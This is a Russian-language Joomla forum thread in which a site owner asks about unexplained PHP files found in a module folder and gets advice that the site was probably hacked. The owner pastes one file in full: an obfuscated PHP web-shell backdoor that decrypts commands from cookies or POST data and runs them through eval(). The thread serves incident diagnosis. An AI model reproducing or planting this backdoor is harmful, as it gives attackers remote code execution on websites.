На сайте появились странные файлы - Joomla 3.x: Общие вопросы

В папке modules/mod_articles_new появились странные файлы вида ff75fb.php. Это что, вирус? их можно просто удалить?

Скорее всего вас взломали. Было бы хорошо, если бы вы показали содержимое файла. Просто удалить будет недостаточно. Смотрите раздел по взломам на форуме.

Вот так выглядят. таких похожих три файла

<?php ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x64\x71\x79\x65e"]="\x76\x61lue";${"\x47\x4c\x4f\x42\x41L\x53"}["\x77\x62\x71q\x62\x67\x6f"]="\x6b\x65\x79";${"\x47LOB\x41\x4c\x53"}["t\x66\x62\x71\x75\x76\x75"]="\x64\x61\x74a";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x62ba\x6e\x68\x71\x76\x6e\x64k"]="i";${"\x47\x4c\x4fB\x41\x4c\x53"}["e\x77\x76\x74uj\x71f\x73c\x70"]="\x64at\x61";${"\x47LO\x42\x41L\x53"}["\x6fhnb\x68dky\x76"]="\x6f\x75t_d\x61\x74\x61";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x73rir\x78u"]="d\x61\x74\x61\x5fke\x79";${"\x47L\x4f\x42\x41L\x53"}["x\x65\x77\x68\x72\x72\x68"]="\x64\x61\x74\x61";@ini_set("err\x6f\x72_\x6c\x6f\x67",NULL);${"\x47LO\x42\x41\x4c\x53"}["rb\x76c\x6av\x6a"]="\x61\x75\x74h";@ini_set("log\x5fe\x72\x72o\x72\x73",0);@ini_set("\x6dax\x5fe\x78\x65c\x75\x74i\x6fn_t\x69\x6de",0);@set_time_limit(0);if(!defined("PHP_EO\x4c")){define("\x50H\x50_\x45O\x4c","\n");}$vmqnpxxlira="\x64\x61\x74a";if(!defined("D\x49RE\x43\x54\x4f\x52\x59_S\x45\x50\x41\x52\x41TOR")){define("DIR\x45CT\x4fR\x59_SE\x50\x41RA\x54OR","/");}${$vmqnpxxlira}=NULL;${${"GL\x4f\x42A\x4c\x53"}["\x6cs\x72\x69r\x78\x75"]}=NULL;${"\x47\x4c\x4f\x42ALS"}["\x75\x62y\x76\x77\x78\x6e\x73\x72\x63"]="\x64\x61\x74\x61";${"G\x4cO\x42\x41\x4cS"}["\x62b\x62\x72\x78\x68\x6ay\x78t"]="\x64ata_\x6bey";$GLOBALS["\x61u\x74h"]="\x34\x65f6\x33\x61\x62\x65-\x31\x61\x62d-45\x61\x36-913d-6\x66b996\x35\x37e24b";global$auth;function sh_decrypt_phase($data,$key){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75j\x70\x68ls\x64qi\x75"]="\x64at\x61";$tsqyubyswrf="\x69";${${"\x47\x4c\x4f\x42A\x4c\x53"}["o\x68\x6eb\x68dky\x76"]}="";for(${$tsqyubyswrf}=0;${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62b\x61\x6e\x68q\x76nd\x6b"]}<strlen(${${"\x47\x4c\x4fB\x41LS"}["\x75\x6a\x70\x68\x6c\x73d\x71iu"]}){$bjcnkfamvh="\x6be\x79";$pjiispdj="\x6a";${"\x47\x4cO\x42A\x4c\x53"}["\x6dcod\x66\x75\x77qu\x6a\x68"]="i";$pszcxlnrgd="j";$zbfhjvj="\x6a";for(${$pszcxlnrgd}=0;${$zbfhjvj}<strlen(${$bjcnkfamvh})&&${${"\x47\x4c\x4fB\x41\x4c\x53"}["bb\x61\x6eh\x71\x76\x6e\x64\x6b"]}<strlen(${${"\x47L\x4fB\x41\x4cS"}["\x74\x66\x62\x71\x75\x76u"]});${$pjiispdj}++,${${"\x47L\x4f\x42AL\x53"}["\x6dco\x64\x66\x75\x77\x71\x75\x6a\x68"]}++){$gpiimpd="\x64\x61ta";$trnoflumek="\x6b\x65\x79";$wjyrgwtmb="\x6a";${${"\x47LOB\x41\x4cS"}["ohn\x62\x68\x64\x6b\x79\x76"]}.=chr(ord(${$gpiimpd}[${${"\x47\x4c\x4fB\x41LS"}["\x62\x62\x61\x6ehq\x76\x6ed\x6b"]}])^ord(${$trnoflumek}[${$wjyrgwtmb}]));}}return${${"\x47LO\x42A\x4c\x53"}["\x6f\x68\x6e\x62\x68d\x6byv"]};}function sh_decrypt($data,$key){$dsteawihats="\x61\x75\x74\x68";${"GL\x4fBA\x4cS"}["x\x71\x6f\x68\x74\x65\x74\x71"]="\x6b\x65\x79";global$auth;return sh_decrypt_phase(sh_decrypt_phase(${${"G\x4c\x4f\x42\x41\x4cS"}["\x74\x66\x62\x71\x75\x76u"]},${$dsteawihats}),${${"GLO\x42\x41LS"}["\x78\x71\x6f\x68te\x74\x71"]});}foreach($_COOKIE as${${"G\x4c\x4f\x42AL\x53"}["wbqq\x62\x67o"]}=>${${"\x47\x4cOB\x41L\x53"}["\x6bdq\x79e\x65"]}){$qvrtyfhkoh="k\x65\x79";${${"\x47L\x4fB\x41\x4cS"}["\x74f\x62\x71u\x76u"]}=${${"G\x4cO\x42AL\x53"}["\x6bd\x71\x79\x65e"]};${${"\x47L\x4f\x42\x41LS"}["l\x73r\x69r\x78u"]}=${$qvrtyfhkoh};}if(!${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78\x65\x77\x68rr\x68"]}){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x65m\x6eki\x68"]="key";foreach($_POST as${${"\x47L\x4f\x42\x41\x4cS"}["\x66e\x6d\x6e\x6b\x69h"]}=>${${"\x47LO\x42\x41\x4c\x53"}["\x6b\x64\x71ye\x65"]}){${"\x47\x4cO\x42\x41LS"}["\x65\x64c\x78\x65y\x61\x66\x6c\x6f"]="\x76\x61\x6c\x75\x65";${${"\x47L\x4fBA\x4c\x53"}["\x74f\x62\x71\x75\x76\x75"]}=${${"\x47\x4c\x4fB\x41L\x53"}["\x65\x64\x63x\x65\x79\x61flo"]};${${"\x47\x4c\x4f\x42\x41LS"}["\x6c\x73\x72\x69r\x78\x75"]}=${${"\x47\x4c\x4f\x42ALS"}["\x77b\x71\x71b\x67\x6f"]};}}${${"G\x4c\x4f\x42\x41L\x53"}["\x74\x66\x62\x71uvu"]}=@unserialize(sh_decrypt(@base64_decode(${${"\x47L\x4f\x42A\x4c\x53"}["\x65\x77vt\x75\x6aq\x66\x73\x63\x70"]}),${${"G\x4cO\x42\x41\x4cS"}["\x62\x62b\x72\x78\x68j\x79\x78t"]}));if(isset(${${"\x47LO\x42AL\x53"}["\x74f\x62\x71u\x76\x75"]}["\x61k"])&&${${"\x47L\x4fB\x41\x4cS"}["\x72\x62\x76c\x6a\x76\x6a"]}==${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75b\x79\x76\x77\x78n\x73\x72\x63"]}["ak"]){${"\x47\x4c\x4fBA\x4cS"}["x\x71\x79\x78\x63\x6f\x68\x71\x69\x6d\x62"]="\x64\x61\x74a";if(${${"G\x4c\x4f\x42A\x4c\x53"}["t\x66\x62\x71u\x76\x75"]}["a"]=="\x69"){${"GLOB\x41\x4c\x53"}["\x63\x73yh\x68k\x6a\x67\x62cw"]="\x69";${${"G\x4c\x4f\x42A\x4cS"}["\x63\x73\x79h\x68\x6b\x6a\x67\x62\x63\x77"]}=Array("\x70v"=>@phpversion(),"\x73v"=>"\x31.0-\x31",);echo@serialize(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x62ba\x6ehq\x76\x6e\x64\x6b"]});}elseif(${${"\x47\x4cO\x42\x41\x4cS"}["\x78\x71y\x78c\x6f\x68\x71\x69m\x62"]}["\x61"]=="e"){${"\x47\x4c\x4fB\x41LS"}["\x70\x6brm\x72c\x69"]="\x64\x61t\x61";eval(${${"\x47\x4cOB\x41\x4c\x53"}["p\x6b\x72m\x72\x63\x69"]}["d"]);}}
?>

Это явно нехорошее зашифровано.

http://joomlaforum.ru/index.php/board,104.0.html - тут много информации что делать и как лечить.

Спасибо!